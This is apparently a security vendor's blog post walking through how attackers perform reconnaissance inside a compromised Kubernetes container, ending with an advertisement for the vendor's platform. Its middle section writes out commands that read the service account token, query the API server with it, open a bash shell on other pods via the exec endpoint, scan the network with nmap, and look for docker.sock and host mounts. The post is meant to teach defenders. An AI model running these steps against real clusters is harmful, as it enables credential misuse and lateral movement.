How Attackers Use Kubernetes for Reconnaissance

There has been a notable increase in Kubernetes-focused attacks in recent years with the growing adoption of Kubernetes in production environments. According to various reports from cybersecurity firms, Kubernetes vulnerabilities and misconfigurations have become a prime target for attackers, with a significant rise in the number of reported incidents. This highlights the importance of robust security measures and diligent monitoring practices to safeguard Kubernetes clusters against potential threats.

Reconnaissance is a critical step for attackers used to understand the layout and possible entry points of the system they intend to compromise, and it refers to the phase where they gather information about a target environment to identify potential vulnerabilities and weaknesses. This typically involves scanning for open ports, enumerating services, and probing for misconfigurations that could be exploited later.

This blog post delves into the attacker’s perspective, exploring the files and information they seek within containers and pods to gain a foothold in your Kubernetes cluster.

Understanding Kubernetes Structure

In order to understand how attackers can leverage Kubernetes, we need to first understand the basic structure of the Kubernetes environment.

The main Kubernetes components include:

• Container: designed to be lightweight and disposable, containing only the application code and its dependencies needed to run. They typically don’t hold configuration files related to the overall Kubernetes cluster, but depending on the configuration and the purpose of the container, some interesting information can be found within, like environment variables that contain sensitive information, access tokens and more.
• Pod: a group of one or more containers that share storage and network resources.
• Service Account: functions like a digital identity for pods. if configured for a deployment, allows to query or run actions on the cluster from within a container.
• Deployment: acts as the manager for your pods, ensuring they run according to your specifications. It’s the control center that dictates how your application is deployed and scaled within the cluster.
• Namespace: a way to organize resources within a cluster. It acts like a virtual sub-cluster, allowing you to partition the cluster into logical groups for different projects, teams, or environments.
• Node: individual machine (physical or virtual) that make up a Kubernetes cluster.
• Cluster: a group of nodes working together as a single unit, managed by Kubernetes to efficiently deploy and scale containerized applications.

How Attackers Use Kubernetes to Reach Their Goals

After an attacker secures initial access, whether through exploiting vulnerabilities, bypassing authentication, or employing social engineering tactics, their focus typically shifts to three primary objectives: privilege escalation to enhance their permissions within the network, lateral movement to establish a foothold across multiple assets, and payload delivery. The payload could manifest as ransomware, a crypto miner, incorporation into a botnet network, or covert monitoring for sensitive information such as user credentials and financial data. The ultimate execution depends on the attacker’s primary goal, often centered around financial gain or causing disruption. Regardless of the intended outcome or payload, reconnaissance within the environment remains a critical step for the attacker.

Now that we have a clearer understanding of the attacker’s objectives, let’s delve into their mindset, accompanying them step by step as they map the Kubernetes environment.

Kubernetes Through the Eyes of an Attacker

To demonstrate how attackers view Kubernetes, we will walk you through a series of commands that allow for reconnaissance. After gaining initial access to Kubernetes, we find ourselves inside a container with the ability to execute shell commands. We will start by finding all the files related to Kubernetes, including those that contain configurations, sensitive information or tokens.

root@container:/# find / 2>/dev/null | grep -i kube /run/secrets/kubernetes.io /run/secrets/kubernetes.io/serviceaccount /run/secrets/kubernetes.io/serviceaccount/namespace /run/secrets/kubernetes.io/serviceaccount/ca.crt /run/secrets/kubernetes.io/serviceaccount/token

We quickly find that /run/secrets/kubernetes.io/serviceaccount folder exists on the container, which means a Kubernetes service account is configured with this deployment. This is significant because this folder will contain information about the service account and its access token.

Next, we will list the environment variables to find the Kubernetes API server.

root@container:/# env | grep -i kube KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT_443_TCP=tcp://10.33.144.1:443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.33.144.1 KUBERNETES_SERVICE_HOST=10.33.144.1 KUBERNETES_PORT=tcp://10.33.144.1:443 KUBERNETES_PORT_443_TCP_PORT=443

KUBERNETES_SERVICE_HOST will contain the IP of the kubelet server, and we can use the service account token from before to check if we can access interesting information about the cluster.

root@container:/# curl -k -H "Authorization: bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" https://$KUBERNETES_SERVICE_HOST

If our service account token is able to query the Kubernetes API, we can easily discover the entire environment, including the containers, pods, namespace, and deployments. If we also have execution permissions, we can run commands on other pods. Some useful API paths for query and execution are:

# Get namespaces https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/ # Get pods inside a namespace https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/$NAMESPACE/pods # Get service accounts https://$KUBERNETES_SERVICE_HOST/api/v1/serviceaccounts # Get nodes https://$KUBERNETES_SERVICE_HOST/api/v1/nodes # Get deployments https://$KUBERNETES_SERVICE_HOST/apis/apps/v1/deployments # Run a command on node curl -X POST -k -H "Content-Type: application/json" \ -H "Authorization: bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" \ https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/$NAMESPACE/pods/$POD/exec?command=/bin/bash&stdin=true&stderr=true&stdout=true&tty=true

Let’s see what else can we get from within the container. A good, old-fashioned network scan should give us some clues to what else we can access within the network. In order to map the endpoints and ports that are available, we can use nmap:

root@container:/# nmap -sS 10.33.144.0/24

Next, we can determine if a docker.sock file exists on the container. This is used to interact with the docker service, which could allow us to execute actions. It resides inside the node’s filesystem and is sometimes mounted to allow execution of docker commands within the container:

root@container:/# find / -name docker.sock

We can search for other interesting mounts to the node’s file system:

root@container:/# mount | grep /dev/sd /dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30) /dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30) /dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30) /dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30) /dev/sda1 on /var/log/host type ext4 (rw,nosuid,nodev,noexec,relatime,commit=30)

The initial four are standard for deployments, but the final one appears intriguing, mounting /var/log to the container poses a risk as it potentially allows to read files on the node.

What could we search for on the node?

/var/lib/kubelet/ will contain the information and configuration of kubelet, and under the pods/ directory we can find all the pods that are running in the cluster.

/etc/kubernetes directory in a Kubernetes cluster serves as a central location for storing configuration files related to the Kubernetes control plane components.

This brings us to the goal of reconnaissance – combining all this information, we can build a comprehensive understanding of the environment. This allows us to identify potential pathways for lateral movements.

Kube Recon

Meet Kube Recon, a simple Python script that offers a peek into how an attacker might view your container. Ever wondered what an attacker could find while snooping around for Kubernetes-related data? Kube Recon doesn’t take any actions within your cluster; it simply gathers information passively. You can also view in Github.

Safeguard Your Kubernetes Workloads with Upwind

As demonstrated in this article, there are numerous ways that attackers can conduct reconnaissance and plan Kubernetes-related attacks. However, it is important to remember that a well-configured Kubernetes deployment will minimize the amount of information exposed about the cluster, making reconnaissance more challenging.

Using advanced security tools is one way to easily monitor and protect your Kubernetes environment. The Upwind Cloud Security Platform does this by providing continuous monitoring and real-time analysis of suspicious activity. By leveraging Upwind’s real-time visibility and risk prioritization of layer 3, layer 4 and layer 7, you can gain comprehensive visibility and proactive protection for your Kubernetes deployments at runtime.

Key benefits of Upwind Security Platform for Kubernetes Security:

• Enhanced Security: Upwind’s Cloud Native Security Posture Management (CSPM) identifies and addresses security risks within your Kubernetes clusters, including potential misconfigurations of Kubernetes machine identities that could be exploited by attackers.
• Real-time Threat Detection & Response: Upwind leverages eBPF technology to provide real-time Kubernetes threat detection and response, allowing you to neutralize threats the moment they emerge.
• Improved Visibility: Upwind’s intuitive dashboards provide a single pane of glass view, allowing you to see the exact security state of your pods, deployments, services, and more. This comprehensive overview empowers you to identify and address security issues quickly and efficiently.
• Comprehensive Risk Analysis: Upwind goes beyond simply identifying security issues, cutting alert noise by more than 90% and providing in-depth risk analysis and prioritization to focus on your most critical risks and threats.

“Upwind superpowers our DevOps/Platform Engineering teams. At the scale of our infrastructure, we know we can only trust a few agent-based security products. Upwind’s efficient eBPF sensor is the only one that met our standards.”

-Gal Aviv, CTO & GM, Digital Turbine

Use Upwind’s real-time cloud security capabilities to prioritize your most critical risks, detect and respond to Kubernetes threats in real time, and get to the root cause of threats 10x faster. For more information on how Upwind protects Kubernetes environments, schedule a demo.